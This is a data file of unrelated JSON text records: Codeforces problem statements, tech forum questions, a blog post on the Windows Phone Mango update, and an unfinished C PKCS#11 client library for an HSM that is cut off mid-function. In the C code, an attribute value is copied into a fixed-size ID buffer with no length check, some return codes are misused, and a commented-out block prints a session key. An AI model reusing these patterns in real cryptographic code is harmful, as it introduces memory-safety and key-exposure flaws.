{"text": "This is a harder version of the problem E with larger constraints.\n\nTwilight Sparkle has received a new task from Princess Celestia. This time she asked to decipher the ancient scroll containing important knowledge of pony origin.\n\nTo hide the crucial information from evil eyes, pony elders cast a spell on the scroll. That spell adds exactly one letter in any place to each word it is cast on. To make the path to the knowledge more tangled elders chose some of words in the scroll and cast a spell on them.\n\nTwilight Sparkle knows that the elders admired the order in all things so the scroll original scroll contained words in lexicographically non-decreasing order. She is asked to delete one letter from some of the words of the scroll (to undo the spell) to get some version of the original scroll.\n\nUnfortunately, there may be more than one way to recover the ancient scroll. To not let the important knowledge slip by Twilight has to look through all variants of the original scroll and find the required one. To estimate the maximum time Twilight may spend on the work she needs to know the number of variants she has to look through. She asks you to find that number! Since that number can be very big, Twilight asks you to find it modulo $$$10^9+7$$$.\n\nIt may occur that princess Celestia has sent a wrong scroll so the answer may not exist.\n\nA string $$$a$$$ is lexicographically smaller than a string $$$b$$$ if and only if one of the following holds:\n\n- $$$a$$$ is a prefix of $$$b$$$, but $$$a \\ne b$$$;\n- in the first position where $$$a$$$ and $$$b$$$ differ, the string $$$a$$$ has a letter that appears earlier in the alphabet than the corresponding letter in $$$b$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The upcoming OS update to Windows Phone 7 shows a lot of promise.\nI was invited to Microsoft’s Mango preview event last week- the codename for the upcoming update for Windows Phone 7. Landing later this year in September, Mango might be called Windows Phone 7.5 and will bring over 500 new features to the platform.\nMango will be a free update for all current Windows Phone 7 devices, however, do expect new phone launches as well from companies like Acer, Nokia and Fujitsu|Toshiba. What shouldn’t be expected is a major hardware refresh as one of the Microsoft reps answered when I asked. No dual core or retina displays for Windows Phone 7 with Mango.\nComing to those 500 new features, I must say that Microsoft has made some great progress with the update and it’s looking to be pretty sweet- hence the codename Mango. One of the biggest features added to the Windows Phone 7 platform is that the phone now supports multi tasking and applications can be multi-threaded as well. Holding down the back key brings you a deck of cards, each representing a snapshot of the application in its current state which is a much nicer implementation than the icon views that iOS, Android or BlackBerry OS currently offer.\nSpeaking of BlackBerry, Microsoft is borrowing a couple of features from RIM such as the Universal Inbox that displays everything from your emails and text messages to Facebook, twitter and instant messages. Like RIM, the Twitter and Facebook apps are designed by Microsoft internally to integrate tightly with the OS. Microsoft has also added LinkedIn to the mix which should give you a wealth of information for your personal as well as professional contacts.\nAnother awesome new feature is messaging to groups. You can define groups like family or friends and whenever you send a message to this group, each individual receives the message based on the platform they use- so for example, one person could receive that message in Facebook, while someone who doesn’t have Facebook could get a text message or an IM. It’s a brilliant idea and it should also work with sharing pictures.\nOne more feature I really liked is that all your communications with a contact is neatly stored in that contact’s profile. So when you pull up a contact, you can see how and what you have communicated with that person- be it on a social network, over email or an instant messaging.\nLast but certainly not the least is Bing’s Vision Search feature that lets you take a picture of something with a barcode or a book or even a CD/DVD and Mango recognizes that and pulls up information such as reviews or places selling that particular item inn Bing. I’m not sure how well that would be integrated in the region but at least it works.\nSadly, full built-in Arabic support hasn’t made the cut in Mango so you will have to rely on third party applications or handset manufacturers to specifically add this. From what we hear, Nokia should be doing that with their first handset launch later this year. On the bright side, Microsoft has opened up a lot more APIs including ones that can access your Address Book and Calendar so expect apps like WhatsApp to make an appearance soon on your Windows Phone.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 648, "token_count_with_eod": 649, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was wondering if there is a global setting for subscription-manager you can use to change the behaviour that enables custom repositories by default.\nI know it is possible to change Product Content defaults on activation key basis but this only affects repos that currently exist in Satellite, it doesn´t affect repos that I add after the activation key has been created.\nThis means that as soon as I add another repo to a custom product and publishes the content view, the repo will be enabled on ALL existing hosts that are using the content view.\nWelcome! Check out the Getting Started with Red Hat page for quick tours and guides for common tasks.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi, first-time PC builder here. I'm narrowing down my part selections so I can hopefully order them on Black Friday. My question is, can any of you PC vets foresee any problems that might occur with these parts? Or will they all play nicely together? AMD PhenomII X4 955BE 3.2GHz 6MB Quad-Core 125W ASRock 880G EXTREME3 AM3 AMD 880G HDMI SATA 6GB/s USB 3.0 ATX AMD Motherboard G.SKILL 4GB (2 x 2GB) DDR3 1600 CAS 9 Two SAPPHIRE Radeon HD 6850s in Crossfire Western Digital Caviar Black 1TB 64mb Cache 7200RPM 6.0GB/s LITE-ON Black 24X SATA CD/DVD Burner Antec TruePower TP-750 750W 80+ Certified Crossfire Ready Antec Three Hundred Illusion Black Steel ATX Mid Tower Computer Case Zalman CNPS10X Performa CPU Cooler ARCTIC COOLING MX-4 Thermal Compound Also: Does anybody know where I might be able to snag some nice Black Friday deals on any of these components? Thanks!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In my place, we use two issue tracking tools, one for production bugs, and another for issues on projects in development. These tools are good for managers. However, at an individual level, other work can also arrive through desk visits, email, or the phone, and those allocating the work aren't always interested in issue tracking systems.\nI've recently rolled off an 18-month project where I got into a cycle of overtime, and I found that I didn't always have good visibility of all work assigned to me. As a result, I was always very busy, and felt constantly laden down with work, but didn't have the clear data to show my manager (or, ironically, the time to stop and gather the information!).\nA handwritten list, updated at the end of each day, is a good start, but can anyone recommend better tools to help me get a clear view of my own workload? Ideally, I'm thinking of software tools for developers, which could incorporate estimates, but all suggestions welcome.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 207, "token_count_with_eod": 208, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Andrewid the Android is a galaxy-famous detective. Now he is busy with a top secret case, the details of which are not subject to disclosure.\n\nHowever, he needs help conducting one of the investigative experiment. There are n pegs put on a plane, they are numbered from 1 to n, the coordinates of the i-th of them are (xi, 0). Then, we tie to the bottom of one of the pegs a weight on a tight rope of length l (thus, its coordinates will be equal to (xi,  - l), where i is the number of the used peg). Then the weight is pushed to the right, so that it starts to rotate counterclockwise. At the same time, if the weight during rotation touches some of the other pegs, it then begins to rotate around that peg. Suppose that each peg itself is very thin and does not affect the rope length while weight is rotating around it.\n\nMore formally, if at some moment the segment of the rope contains one or more pegs in addition to the peg around which the weight is rotating, the weight will then rotate around the farthermost one of them on a shorter segment of a rope. In particular, if the segment of the rope touches some peg by its endpoint, it is considered that the weight starts to rotate around that peg on a segment of the rope of length 0.\n\nAt some moment the weight will begin to rotate around some peg, without affecting the rest of the pegs. Andrewid interested in determining the number of this peg.\n\nAndrewid prepared m queries containing initial conditions for pushing the weight, help him to determine for each of them, around what peg the weight will eventually rotate.", "source": "cpt_codeforces", "language": "en", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Welcome back to Tech18.com ,we all are fond of sending messages to our friends and others if it is free and through internet. Here a list of Hundreds of sites to send free SMS. You can try them and enjoy free smsing.\nWelcome back to Tech18.com, today we are going to learn how to change the owner name or the registered name in Windows XP. Following are the steps to change the owner name:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 89, "token_count_with_eod": 90, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n *  Copyright 2011-2016 The Pkcs11Interop Project\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\n/*\n *  Written for the Pkcs11Interop project by:\n *  Jaroslav IMRICH <jimrich@jimrich.sk>\n */\n\n\n#include \"pkcs11.h\"\n#include \"../comms.h\"\n\n#define MAX_SESSIONS 1\n#define MAX_SLOTS 1\t// App só suport 1 token\n\n#define P11_NUM_OPS 2\n#define P11_OP_VERIFY 0\n#define P11_OP_ENCRYPT 1\n\ntypedef struct p11_object_s {\n\tCK_OBJECT_CLASS oClass;\n\tCK_KEY_TYPE oType;\n\tCK_BBOOL oToken;\n\tCK_BYTE id[ID_SIZE];\n\tCK_BYTE id_size;\n\tCK_BYTE oValue[PUB_KEY_SIZE];\n\tCK_ULONG oValueLen;\n} p11_object;\n\ntypedef struct p11_session_s {\n\tCK_SESSION_INFO_PTR session;\n\tCK_BYTE operation[P11_NUM_OPS];\n\tCK_BYTE op_code;\n\n\tp11_object obj; // Object - array of atrributes\n} p11_session;\n\np11_session s;\n\n// GLOBAL VARIABLES\nCK_BBOOL init = CK_FALSE;\nCK_BYTE session_count;\nuint32_t pipe_fd;\t// Pipe descriptor\n\nstruct request req;\t// request structure\nstruct response resp;\t// response structure\n\n\n// p11_slot g_slots[MAX_SLOTS];\n\n// std::vector<HSM*> devices_list; // the index represents the slotID (so the same device pointer may be in multiple indexes)\n// std::vector<p11_session*> g_sessions;\n\nCK_FUNCTION_LIST pkcs11_functions = \n{\n\t{2, 20},\n\t&C_Initialize,\n\t&C_Finalize,\n\t&C_GetInfo,\n\t&C_GetFunctionList,\n\t&C_GetSlotList,\n\t&C_GetSlotInfo,\n\t&C_GetTokenInfo,\n\t&C_GetMechanismList,\n\t&C_GetMechanismInfo,\n\t&C_InitToken,\n\t&C_InitPIN,\n\t&C_SetPIN,\n\t&C_OpenSession,\n\t&C_CloseSession,\n\t&C_CloseAllSessions,\n\t&C_GetSessionInfo,\n\t&C_GetOperationState,\n\t&C_SetOperationState,\n\t&C_Login,\n\t&C_Logout,\n\t&C_CreateObject,\n\t&C_CopyObject,\n\t&C_DestroyObject,\n\t&C_GetObjectSize,\n\t&C_GetAttributeValue,\n\t&C_SetAttributeValue,\n\t&C_FindObjectsInit,\n\t&C_FindObjects,\n\t&C_FindObjectsFinal,\n\t&C_EncryptInit,\n\t&C_Encrypt,\n\t&C_EncryptUpdate,\n\t&C_EncryptFinal,\n\t&C_DecryptInit,\n\t&C_Decrypt,\n\t&C_DecryptUpdate,\n\t&C_DecryptFinal,\n\t&C_DigestInit,\n\t&C_Digest,\n\t&C_DigestUpdate,\n\t&C_DigestKey,\n\t&C_DigestFinal,\n\t&C_SignInit,\n\t&C_Sign,\n\t&C_SignUpdate,\n\t&C_SignFinal,\n\t&C_SignRecoverInit,\n\t&C_SignRecover,\n\t&C_VerifyInit,\n\t&C_Verify,\n\t&C_VerifyUpdate,\n\t&C_VerifyFinal,\n\t&C_VerifyRecoverInit,\n\t&C_VerifyRecover,\n\t&C_DigestEncryptUpdate,\n\t&C_DecryptDigestUpdate,\n\t&C_SignEncryptUpdate,\n\t&C_DecryptVerifyUpdate,\n\t&C_GenerateKey,\n\t&C_GenerateKeyPair,\n\t&C_WrapKey,\n\t&C_UnwrapKey,\n\t&C_DeriveKey,\n\t&C_SeedRandom,\n\t&C_GenerateRandom,\n\t&C_GetFunctionStatus,\n\t&C_CancelFunction,\n\t&C_WaitForSlotEvent\n};\n\n/*\n\tInitializes Cryptoki\n\tSince we don't support multi-threading, the argument must be NULL\n\n*/\nCK_DEFINE_FUNCTION(CK_RV, C_Initialize)(CK_VOID_PTR pInitArgs)\n{\n\tif (pInitArgs != NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tif (init)\n\t\treturn CKR_CRYPTOKI_ALREADY_INITIALIZED;\n\n\t// add slot for HSM token\n\t// HSM * g_hsm = new HSM();\n\t// if (!g_hsm->init())\n\t//         return CKR_FUNCTION_FAILED;\n\n\tsession_count = 0;\n\tinit = CK_TRUE;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Finalize)(CK_VOID_PTR pReserved)\n{\n\tif (pReserved != NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tsession_count = 0;\n\n\tinit = CK_FALSE;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetInfo)(CK_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetFunctionList)(CK_FUNCTION_LIST_PTR_PTR ppFunctionList)\n{\n\tif (NULL == ppFunctionList)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\t*ppFunctionList = &pkcs11_functions;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSlotList)(CK_BBOOL tokenPresent, CK_SLOT_ID_PTR pSlotList, CK_ULONG_PTR pulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSlotInfo)(CK_SLOT_ID slotID, CK_SLOT_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetTokenInfo)(CK_SLOT_ID slotID, CK_TOKEN_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetMechanismList)(CK_SLOT_ID slotID, CK_MECHANISM_TYPE_PTR pMechanismList, CK_ULONG_PTR pulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetMechanismInfo)(CK_SLOT_ID slotID, CK_MECHANISM_TYPE type, CK_MECHANISM_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_InitToken)(CK_SLOT_ID slotID, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen, CK_UTF8CHAR_PTR pLabel)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_InitPIN)(CK_SESSION_HANDLE hSession, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 2: Set new authentication PIN\nCK_DEFINE_FUNCTION(CK_RV, C_SetPIN)(CK_SESSION_HANDLE hSession, CK_UTF8CHAR_PTR pOldPin, CK_ULONG ulOldLen, CK_UTF8CHAR_PTR pNewPin, CK_ULONG ulNewLen)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\n\tif (ulNewLen != (PIN_SIZE-2) || pNewPin == NULL)\n\t\treturn CKR_PIN_INVALID;\n\t\n\tif(HSM_C_ChooseOpCode(hSession, 2) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send_to_connection(pipe_fd, pOldPin, ulOldLen);\n\t// receive_from_connection(pipe_fd, &status, sizeof(status));\n\n\t// if (!status)\n\t//         return CKR_PIN_INCORRECT;\n\n\tsend_to_connection(pipe_fd, pNewPin, ulNewLen);\n\n\tif (!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\treturn CKR_OK;\n}\n\n// CK_DEFINE_FUNCTION(CK_RV, C_OpenSession)(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication, CK_NOTIFY Notify, CK_SESSION_HANDLE_PTR phSession)\n// {\n//         uint8_t pub[96], priv[48];\n//         uint8_t buf[128], gen_key[KEY_SIZE*2];\n//         uint8_t buf_len, pub_len;\n//         int ret;\n//\n//         if (!init)\n//                 return CKR_CRYPTOKI_NOT_INITIALIZED;\n//\n//         if (session_count < MAX_SESSIONS)\n//                 session_count++;\n//         else\n//                 return CKR_SESSION_COUNT;\n//\n//         // start session\n//         s.session = (CK_SESSION_INFO*)malloc(sizeof(CK_SESSION_INFO));\n//         s.session->slotID = slotID;\n//         s.session->flags = flags;\n//         s.session->ulDeviceError = 0;\n//         s.session->state = 0;\n//\n//         s.operation[P11_OP_ENCRYPT] = 0;\n//         s.operation[P11_OP_VERIFY] = 0;\n//         s.op_code = 0;\n//\n//         // s.obj = NULL_PTR; // Object\n//         *phSession = session_count-1;\n//\n//         printf (\"Exchanging keys...\\n\");\n//\n//         // Generate public key pair\n//         if ((ret = mbed_gen_pair_scalar(priv, pub)) != 0)\n//                 printf (\"Error generating key pair: %d\\n\", ret);\n//\n//         // Send public key\n//         pub_len = 96;\n//         send_plain(pipe_fd, &pub_len, 1);\n//         send_plain(pipe_fd, pub, pub_len);\n//\n//         // Receive peer's public key\n//         receive_plain(pipe_fd, &pub_len, 1);\n//         receive_plain(pipe_fd, pub, pub_len);\n//\n//         // Generate secret with ECDH\n//         if ((ret = mbed_ecdh_scalar(priv, pub, buf, (size_t *)&buf_len)) != 0)\n//                 printf (\"Error ECDH: %d\\n\", ret);\n//\n//         // Derivate key with SHA-256\n//         if ((ret = mbed_sha256(buf, buf_len, gen_key)) != 0)\n//                 printf (\"Error SHA256: %d\\n\", ret);\n//\n//         init_key (gen_key);\n//\n//         printf (\"Symmetric Key: %s\\n\", (char *)gen_key);\n//\n//         return CKR_OK;\n// }\n\nCK_DEFINE_FUNCTION(CK_RV, C_OpenSession)(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication, CK_NOTIFY Notify, CK_SESSION_HANDLE_PTR phSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (session_count < MAX_SESSIONS)\n\t\tsession_count++;\n\telse\n\t\treturn CKR_SESSION_COUNT;\n\n\t// start session\n\ts.session = (CK_SESSION_INFO*)malloc(sizeof(CK_SESSION_INFO)); \n\ts.session->slotID = slotID;\n\ts.session->flags = flags;\n\ts.session->ulDeviceError = 0;\n\ts.session->state = 0;\n\n\ts.operation[P11_OP_ENCRYPT] = 0;\n\ts.operation[P11_OP_VERIFY] = 0;\n\ts.op_code = 0;\n\n\t// s.obj = NULL_PTR; // Object\n\t*phSession = session_count-1;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CloseSession)(CK_SESSION_HANDLE hSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (s.session == NULL_PTR)\n\t\treturn CKR_SESSION_HANDLE_INVALID;\n\n\t// start session\n\tsession_count--;\n\tfree(s.session);\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CloseAllSessions)(CK_SLOT_ID slotID)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetSessionInfo)(CK_SESSION_HANDLE hSession, CK_SESSION_INFO_PTR pInfo)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetOperationState)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pOperationState, CK_ULONG_PTR pulOperationStateLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SetOperationState)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pOperationState, CK_ULONG ulOperationStateLen, CK_OBJECT_HANDLE hEncryptionKey, CK_OBJECT_HANDLE hAuthenticationKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n// Operation 1: Authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_Login)(CK_SESSION_HANDLE hSession, CK_USER_TYPE userType, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen)\n{\n\tCK_BYTE ret, status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (ulPinLen != (PIN_SIZE-2) || pPin == NULL)\n\t\treturn CKR_PIN_INVALID;\n\t\n\tHSM_C_ChooseOpCode(hSession, 1);\n\t// if (ret != CKR_OK)\n\t//         return ret;\n\n\tsend_to_connection(pipe_fd, pPin, ulPinLen);\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tif (status == 0)\n\t\tret = CKR_FUNCTION_FAILED;\n\telse\n\t\tret = CKR_OK;\n\n\treturn ret;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Logout)(CK_SESSION_HANDLE hSession)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 10) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\tprintf (\"[CLIENT] Sending logout request\\n\");\n\twaitOK(pipe_fd);\n\n\treturn CKR_OK;\n}\n\n\n// Can be used to create a new object on HSM\n// Usefull for new certificate\n// Operation 7: import public key certificate\nCK_DEFINE_FUNCTION(CK_RV, C_CreateObject)(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phObject)\n{\n\tCK_LONG p = 0;\n\tCK_BYTE r;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\tif (pTemplate == NULL_PTR)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tfor (p = 0; p < ulCount; p++)\n\t{\n\t\tif (pTemplate[p].type == CKA_CLASS)\n\t\t\ts.obj.oClass = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_CERTIFICATE_TYPE || pTemplate[p].type == CKA_KEY_TYPE)\n\t\t\ts.obj.oType = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_TOKEN)\n\t\t\ts.obj.oToken = *((CK_BYTE_PTR)pTemplate[p].pValue);\n\t\telse if (pTemplate[p].type == CKA_ID)\n\t\t{\n\t\t\tmemcpy (s.obj.id, pTemplate[p].pValue, pTemplate[p].ulValueLen);\n\t\t\ts.obj.id_size = pTemplate[p].ulValueLen;\n\t\t}\n\t\telse if (pTemplate[p].type == CKA_VALUE && sizeof(s.obj.oValue) >= pTemplate[p].ulValueLen)\n\t\t{\n\t\t\tmemcpy (s.obj.oValue, pTemplate[p].pValue, pTemplate[p].ulValueLen);\n\t\t\ts.obj.oValueLen = pTemplate[p].ulValueLen;\n\t\t}\n\t}\n\t*phObject = 1;\n\tr = CKR_OK;\n\n\t// if its to store on the server - its a certificate\n\tif (r == CKR_OK && s.obj.oType == CKC_X_509)\n\t\treturn HSM_C_SaveObject(hSession, *phObject);\n\n\treturn r;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CopyObject)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phNewObject)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DestroyObject)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetObjectSize)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ULONG_PTR pulSize)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetAttributeValue)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SetAttributeValue)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjectsInit)(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjects)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE_PTR phObject, CK_ULONG ulMaxObjectCount, CK_ULONG_PTR pulObjectCount)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_FindObjectsFinal)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 3: encrypt + authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\ts.op_code = 3;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_AES_CTR)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_ENCRYPT] = 1;\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Encrypt)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pEncryptedData, CK_ULONG_PTR pulEncryptedDataLen)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (s.operation[P11_OP_ENCRYPT] != 1)\n\t\treturn CKR_OPERATION_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, s.op_code) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_DATA_INVALID;\n\t}\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_DATA_INVALID;\n\t}\n\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size); // send key ID\n\tif (!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_ENCRYPT] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pulEncryptedDataLen, sizeof(*pulEncryptedDataLen));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\treceive_from_connection(pipe_fd, pEncryptedData, *pulEncryptedDataLen);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\ts.operation[P11_OP_ENCRYPT] = 0;\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_EncryptFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pLastEncryptedPart, CK_ULONG_PTR pulLastEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 4: decrypt + authenticate\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\ts.op_code = 4;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_AES_CTR)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_ENCRYPT] = 1;\n\n\treturn CKR_OK;\n}\n\n\n// Decryption is the same to encrypt with AES CTR mode\nCK_DEFINE_FUNCTION(CK_RV, C_Decrypt)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedData, CK_ULONG ulEncryptedDataLen, CK_BYTE_PTR pData, CK_ULONG_PTR pulDataLen)\n{\n\treturn C_Encrypt(hSession, pEncryptedData, ulEncryptedDataLen, pData, pulDataLen);\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pLastPart, CK_ULONG_PTR pulLastPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism)\n{\n\treturn 